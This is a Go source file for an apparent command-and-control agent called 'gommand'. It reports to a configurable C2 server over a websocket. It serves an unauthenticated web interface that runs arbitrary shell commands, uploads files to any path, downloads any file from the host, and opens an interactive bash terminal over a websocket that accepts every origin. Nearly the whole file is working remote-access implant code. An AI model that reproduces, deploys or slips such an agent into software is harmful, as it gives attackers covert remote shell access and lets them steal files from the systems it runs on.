package main

import (
	// "bytes"
	// "bufio"
	"bytes"
	"embed"
	"encoding/json"
	"flag"
	"fmt"
	"html/template"
	"io"
	"log"
	"net"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"os/user"
	"path/filepath"
	"regexp"
	"strconv"
	"strings"
	"sync"

	"github.com/creack/pty"
	"github.com/gorilla/websocket"

	"gommand/src/agentconnector"
)

type PageData struct {
	CurrentDir  string
	Hostname 	string
	CurrentUsername string
	CommandLog  []CommandOutput
}

type CommandOutput struct {
	Command string
	Output  string
	Error   string
}

// Contains the list of commands, which will be parsed recursively
// through executeCommandTree() and in the end executeCommand()
type CommandNode struct {
	Operator 	string
	Left 		*CommandNode
	Right 		*CommandNode
	Command 	string
}

//go:embed templates/*
var templateFiles embed.FS
//go:embed static/*
var staticFiles embed.FS

var commandLog []CommandOutput
var variables = make(map[string]string)

var tmpl = template.Must(template.ParseFS(templateFiles, "templates/index.html"))

func expandCommandSubstitution(command string, currentDir string) (string, error) {
	// Do not expand single quoted strings
	reSingleQuotes := regexp.MustCompile(`'([^']*)'`)
	singleQuotedStrings := reSingleQuotes.FindAllString(command, -1)

	placeholder := "\x00PLACEHOLDER\x00"
	command = reSingleQuotes.ReplaceAllLiteralString(command, placeholder)

	// Expand variables
	reVar := regexp.MustCompile(`\$(\w+)`)
	command = reVar.ReplaceAllStringFunc(command, func(match string) string {
		varName := match[1:]
		if val, exists := variables[varName]; exists {
			return val
		}
		if envVal, exists := os.LookupEnv(varName); exists {
			return envVal
		}

		return match
	})

	// Restore single-quoted strings and avoid expansion inside them
	for _, sq := range singleQuotedStrings {
		command = strings.Replace(command, placeholder, sq, 1)
	}

	// expand $(...) command substitution
	re := regexp.MustCompile(`\$\(([^()]+)\)`)
	for {
		match := re.FindStringSubmatch(command)
		if match == nil {
			break
		}

		subCommand := strings.TrimSpace(match[1])
		subOutput, err := executeCommandTree(parseCommandTree(subCommand), currentDir)
		if err != nil {
			return "", err
		}

		command = strings.Replace(command, match[0], strings.TrimSpace(subOutput), 1)
	}
	return command, nil
}

func setVariable(command string) bool {
	re := regexp.MustCompile(`^(\w+)=(.*)$`)
	match := re.FindStringSubmatch(command)
	if match == nil {
		return false
	}

	varName := match[1]
	value := strings.Trim(match[2], `"`)

	if strings.HasPrefix(command, "export ") {
		os.Setenv(varName, value)
	} else {
		variables[varName] = value
	}

	return true
}

func parseCommandTree(command string) *CommandNode {
	if strings.Contains(command, ";") {
		parts := strings.SplitN(command, ";", 2)
		return &CommandNode{
			Operator: ";",
			Left: parseCommandTree(strings.TrimSpace(parts[0])),
			Right: parseCommandTree(strings.TrimSpace(parts[1])),
		}
	} else if strings.Contains(command, ">") {
		parts := strings.SplitN(command, ">", 2)
		return &CommandNode{
			Operator: ">",
			Left: parseCommandTree(strings.TrimSpace(parts[0])),
			Right: &CommandNode{Command: strings.TrimSpace(parts[1])},
		}
	} else if strings.Contains(command, "<") {
		parts := strings.SplitN(command, "<", 2)
		return &CommandNode{
			Operator: "<",
			Left: parseCommandTree(strings.TrimSpace(parts[0])),
			Right: &CommandNode{Command: strings.TrimSpace(parts[1])},
		}
	} else if strings.Contains(command, "|") {
		parts := strings.SplitN(command, "|", 2)
		return &CommandNode{
			Operator: "|",
			Left: parseCommandTree(strings.TrimSpace(parts[0])),
			Right: parseCommandTree(strings.TrimSpace(parts[1])),
		}
	} else if strings.Contains(command, "&&") {
		parts := strings.SplitN(command, "&&", 2)
		return &CommandNode{
			Operator: "&&",
			Left: parseCommandTree(strings.TrimSpace(parts[0])),
			Right: parseCommandTree(strings.TrimSpace(parts[1])),
		}
	} else if strings.Contains(command, "||") {
		parts := strings.SplitN(command, "||", 2)
		return &CommandNode{
			Operator: "||",
			Left: parseCommandTree(strings.TrimSpace(parts[0])),
			Right: parseCommandTree(strings.TrimSpace(parts[1])),
		}
	}
	return &CommandNode{Command: command}
}

func executeCommandTree(node *CommandNode, currentDir string) (string, error) {
	if node == nil {
		return "", nil
	}

	switch node.Operator {
	case "&&":
		leftOutput, err := executeCommandTree(node.Left, currentDir)
		if err != nil {
			return "", err
		}
		if leftOutput != "" {
			return executeCommandTree(node.Right, currentDir)
		}
		return executeCommandTree(node.Right, currentDir)

	// TODO: or operator does not work correctly, fix it
	case "||":
		leftOutput, err := executeCommandTree(node.Left, currentDir)
		if err == nil && leftOutput != "" {
			return leftOutput, nil
		}
		return executeCommandTree(node.Right, currentDir)

	case "|":
		leftOutput, err := executeCommandTree(node.Left, currentDir)
		if err != nil {
			return "", err
		}
		cmdArgs := parseCommandWithQuotes(node.Right.Command)
		if len(cmdArgs) == 0 {
			return "", fmt.Errorf("Invalid Command")
		}
		cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...)
		cmd.Dir = currentDir
		cmd.Stdin = strings.NewReader(leftOutput)
		var outputBuffer bytes.Buffer
		cmd.Stdout = &outputBuffer
		cmd.Stderr = &outputBuffer
		if err := cmd.Run(); err != nil {
			return "", err
		}
		return outputBuffer.String(), nil

	case ">":
		leftOutput, err := executeCommandTree(node.Left, currentDir)
		if err != nil {
			return "", err
		}
		file, err := os.Create(strings.TrimSpace(node.Right.Command))
		if err != nil {
			return "", err
		}
		defer file.Close()
		_, err = file.WriteString(leftOutput)
		return "", err

	case "<":
		file, err := os.Open(strings.TrimSpace(node.Right.Command))
		if err != nil {
			return "", err
		}
		defer file.Close()
		cmdArgs := parseCommandWithQuotes(node.Left.Command)
		if len(cmdArgs) == 0 {
			return "", fmt.Errorf("Invalid command")
		}
		cmd := exec.Command(cmdArgs[0], cmdArgs[1:]...)
		cmd.Dir = currentDir
		cmd.Stdin = file
		var outputBuffer bytes.Buffer
		cmd.Stdout = &outputBuffer
		cmd.Stderr = &outputBuffer
		if err := cmd.Run(); err != nil {
			return "", err
		}
		return outputBuffer.String(), nil

	case ";":
		leftOutput, _ := executeCommandTree(node.Left, currentDir)
		rightOutput, _ := executeCommandTree(node.Right, currentDir)
		return leftOutput + rightOutput, nil
	}
	return executeSimpleCommand(node.Command, currentDir).Output, nil
}

func executeCommand(command string, args []string, dir string) (string, error) {
	cmd := exec.Command(command, args...)
	cmd.Dir = dir
	output, err := cmd.CombinedOutput()
	return string(output), err
}

func executeSimpleCommand(command string, currentDir string) CommandOutput {
	var cmdOutput CommandOutput
	// args := strings.Fields(command)
	args := parseCommandWithQuotes(command)
	if len(args) == 0 {
		return cmdOutput
	}

	cmd := exec.Command(args[0], args[1:]...)
	cmd.Dir = currentDir
	output, err := cmd.CombinedOutput()
	cmdOutput.Command = command
	cmdOutput.Output = string(output)
	if err != nil {
		cmdOutput.Error = err.Error()
	}
	return cmdOutput
}

func changeDirectory(command string, args []string, currentDir *string) CommandOutput {
	var cmdOutput CommandOutput

	if len(args) == 0 {
		homeDir, _ := os.UserHomeDir()
		err := os.Chdir(homeDir)
		if err != nil {
			cmdOutput = CommandOutput {
				Command: command,
				Error: "Failed to change to home directory: " + err.Error(),
			}
		} else {
			cmdOutput = CommandOutput {
				Command: command,
				Output: "Changed to home directory: " +  homeDir,
			}
			*currentDir = homeDir
		}
	} else {
		newDir := args[0]
		err := os.Chdir(newDir)
		if err != nil {
			cmdOutput = CommandOutput {
				Command: command + " " + newDir,
				Error: "Failed to change to directory: " + err.Error(),
			}
		} else {
			cmdOutput = CommandOutput {
				Command: command + " " + newDir,
				Output: "Changed to directory: " + newDir,
			}
			*currentDir = newDir
		}
	}
	return cmdOutput
}

func fileUploadHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
		return
	}

	file, header, err := r.FormFile("file")
	if err != nil {
		http.Error(w, "Failed to upload file", http.StatusInternalServerError)
		return
	}
	defer file.Close()

	uploadDir := r.FormValue("uploadDir")
	if uploadDir == "" {
		uploadDir = "./"
	}

	os.MkdirAll(uploadDir, os.ModePerm)
	destPath := filepath.Join(uploadDir, header.Filename)
	out, err := os.Create(destPath)
	if err != nil {
		http.Error(w, "Failed to save file", http.StatusInternalServerError)
		return
	}
	defer out.Close()

	_, err = io.Copy(out, file)
	if err != nil {
		http.Error(w, "Failed to write file", http.StatusInternalServerError)
		return
	}

	w.Write([]byte("File uploaded successfully"))
}

func fileDownloadHandler(w http.ResponseWriter, r *http.Request) {
	filePath := r.URL.Query().Get("filePath")
	if filePath == ""{
		http.Error(w, "Filepath is required", http.StatusBadRequest)
		return
	}
	absPath, err := filepath.Abs(filePath)
	if err != nil || !fileExists(absPath) {
		http.Error(w, "File not found", http.StatusNotFound)
		return
	}

	w.Header().Set("Content-Disposition", "attachement; filename=\""+filepath.Base(absPath)+"\"")
	w.Header().Set("Content-Type", "application/octet-stream")
	http.ServeFile(w, r, absPath)
}

func fileExists(filePath string) bool {
	_, err := os.Stat(filePath)
	return !os.IsNotExist(err)
}

func processCommand(command string, currentDir string) CommandOutput {
	var errorMsg string

	// Handle variable assignments before execution
	if setVariable(command) {
		return CommandOutput{Command: command, Output: "", Error: ""}
	}

	// This handles command substitution which is $(...) in bash
	expandedCommand, err := expandCommandSubstitution(command, currentDir)
	if err != nil {
		errorMsg = err.Error()
		return CommandOutput{Command: command, Output: "", Error: errorMsg}
	}

	tree := parseCommandTree(expandedCommand)
	output, err := executeCommandTree(tree, currentDir)
	if err != nil {
		errorMsg = err.Error()
	}
	return CommandOutput{Command: command, Output: output, Error: errorMsg}
}

func parseCommandWithQuotes(command string) []string {
	var args []string
	var current strings.Builder
	inSingleQuote, inDoubleQuote := false, false

	for i := 0; i < len(command); i++ {
		c := command[i]

		switch c {
		case '\'':
			if !inDoubleQuote {
				inSingleQuote = !inSingleQuote
				continue
			}
		case '"':
			if !inSingleQuote {
				inDoubleQuote = !inDoubleQuote
				continue
			}
		case ' ':
			if !inSingleQuote && !inDoubleQuote {
				if current.Len() > 0 {
					args = append(args, current.String())
					current.Reset()
				}
				continue
			}
		case '\\':
			// Handle escaped characters
			if i+1 < len(command) {
				next := command[i+1]
				if next == '"' || next == '\'' || next == '\\' {
					current.WriteByte(next)
					i++
					continue
				}
			}
		}

		current.WriteByte(c)
	}

	// Add the last argument
	if current.Len() > 0 {
		args = append(args, current.String())
	}

	return args
}

func handler(w http.ResponseWriter, r *http.Request) {
	currentDir, _ := os.Getwd()
	displayDir := filepath.Base(currentDir)
	currentUser, _ := user.Current()
	currentUsername := currentUser.Username
	hostname, _ := os.Hostname()

	if r.Method == http.MethodPost {
		input := r.FormValue("command")
		parts := strings.Fields(input)
		if len(parts) > 0 {
			command := parts[0]
			args := parts[1:]
			if  command == "cd" {
				cmdOutput := changeDirectory(command, args, &currentDir)
				displayDir = filepath.Base(currentDir)
				commandLog = append(commandLog, cmdOutput)
			} else if command == "download" {
				if len(args) < 1{
					http.Error(w, "Usage: download <filePath>", http.StatusBadRequest)
					return
				}
				http.Redirect(w, r, "/download?filePath="+url.QueryEscape(args[0]), http.StatusFound)
				return
			} else {
				cmdOutput := processCommand(input, currentDir)
				commandLog = append(commandLog, cmdOutput)
			}
		}
	}

	data := PageData{
		CurrentDir: displayDir,
		Hostname: hostname,
		CurrentUsername: currentUsername,
		CommandLog: commandLog,
	}
	tmpl.Execute(w, data)
}

func ipv4Addr(iface *net.Interface) (string, bool) {
	addrs, _ := iface.Addrs()
	for _, a := range addrs {
		if ip, _, _ := net.ParseCIDR(a.String()); ip.To4() != nil {
			return ip.String(), true
		}
	}
	return "", false
}

func autoInterface() string {
	ifaces, _ := net.Interfaces()

	// Interfaces whose IPv4 we want before anything else, in order.
	var preferredPrefixes = []string{"wg", "tun", "tailscale"}

	for _, prefix := range preferredPrefixes {
		for _, in := range ifaces {
			if strings.HasPrefix(in.Name, prefix) && in.Flags&net.FlagUp != 0 {
				if ip, ok := ipv4Addr(&in); ok {
					return ip
				}
			}
		}
	}

	for _, in := range ifaces {
		if in.Flags&net.FlagLoopback == 0 && in.Flags&net.FlagUp != 0 {
			if ip, ok := ipv4Addr(&in); ok {
				return ip
			}
		}
	}

	return ""
}

func startInteractiveServer(cliInteractivePort, networkInterface string) (string, net.Listener) {

	http.HandleFunc("/", handler)
	http.HandleFunc("/upload", fileUploadHandler)
	http.HandleFunc("/download", fileDownloadHandler)
	http.HandleFunc("/terminal", terminalHandler)
	http.Handle("/static/", http.FileServer(http.FS(staticFiles)))

	var addPort string
	var listener net.Listener
	var err error

	var host string
	if networkInterface != "" {
		iface, err := net.InterfaceByName(networkInterface)
		if err != nil {
			log.Fatalf("interface %q not found: %v", networkInterface , err)
		}
		if ip, ok  := ipv4Addr(iface); ok {
			host = ip
		} else {
			log.Fatalf("Interface %q has no IPv4 address", networkInterface)
		}
	} else {
		host = autoInterface()
	}

	port := cliInteractivePort

	if port == "" {
		port = "0"
	}

	listener, err = net.Listen("tcp4", net.JoinHostPort(host, port))
	if err != nil {
		log.Fatal(err)
	}

	addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port)

	return addPort, listener
}

func connectionArgs () (string, string, string) {
 	var serverAddress string
	var serverWebsocketPort string
	var interactivePort  string
	var networkInterface string

	flag.StringVar(&serverAddress, "server-address", "127.0.0.1", "IP Address of the C2 server.")
	flag.StringVar(&serverWebsocketPort, "server-port", "5555", "Websocket port of the C2 server.")
	flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.")
	flag.StringVar(&networkInterface, "network-interface", "", "Network interface to bind to. Will bind to the first non loopback interface if not set. VPN interfaces will be preferred.")

	flag.Parse()

	log.Println("Server address is at ", serverAddress)
	log.Println("Server websocket port is ", serverWebsocketPort)

	webSocketAddr := serverAddress + ":" + serverWebsocketPort

	return webSocketAddr, interactivePort, networkInterface
}

func main() {

	webSocketAddr, cliInteractivePort, networkInterface := connectionArgs()

	addPort, listener := startInteractiveServer(cliInteractivePort, networkInterface)

	ipv4Addr := listener.Addr().(*net.TCPAddr).IP.String()
	log.Printf("You can connect to %s:%d through your browser as well",
		ipv4Addr,
		listener.Addr().(*net.TCPAddr).Port)

	var wg sync.WaitGroup
	wg.Add(2)

	go func() {
		defer wg.Done()
		log.Fatal(http.Serve(listener, nil))
	}()

	go func() {
		defer wg.Done()
		agentconnector.StartServer(addPort, webSocketAddr, ipv4Addr)
	}()

	wg.Wait()
}

var upgrader = websocket.Upgrader {
	ReadBufferSize: 1024,
	WriteBufferSize: 1024,
	CheckOrigin: func(r *http.Request) bool { return true },
}

func terminalHandler (w http.ResponseWriter, r *http.Request) {
	ws, err := upgrader.Upgrade(w, r, nil)
	if err != nil {
		log.Printf("Websocket upgrade error: %v", err)
		return
	}
	defer ws.Close()

	cmd := exec.Command("bash")
	cmd.Env = append(os.Environ(), "TERM=xterm-256color")
	ptmx, err := pty.Start(cmd)
	if err != nil {
		log.Printf("Error starting PTY: %v", err)
		return
	}
	defer func() { _ = ptmx.Close() }()

	go func() {
		buf := make([]byte, 1024)
		for {
			n, err := ptmx.Read(buf)
			if err != nil {
				break
			}
			if err := ws.WriteMessage(websocket.BinaryMessage, buf[:n]); err != nil {
				break
			}
		}
	}()

	for {
			_, message, err := ws.ReadMessage()
		if err != nil {
			break
		}

		// This is done, so resizing works in the browser, especially resizing the terminal
		// Check if the message is binary and starts with control prefix 0xFF.
		if len(message) > 0 && message[0] == 0xFF {
			var resizeMsg struct {
				Type string `json:"type"`
				Cols uint16 `json:"cols"`
				Rows uint16 `json:"rows"`
			}
			if err := json.Unmarshal(message[1:], &resizeMsg); err == nil && resizeMsg.Type == "resize" {
				err := pty.Setsize(ptmx, &pty.Winsize{
					Cols: resizeMsg.Cols,
					Rows: resizeMsg.Rows,
					X:    0,
					Y:    0,
				})
				if err != nil {
					log.Printf("Error resizing PTY: %v", err)
				} else {
					log.Printf("Resized PTY to cols: %d, rows: %d", resizeMsg.Cols, resizeMsg.Rows)
				}
				continue // Do not write this message to the PTY.
			}
		}

		// Otherwise, treat it as normal input.
		if _, err := ptmx.Write(message); err != nil {
			break
		}
	}
}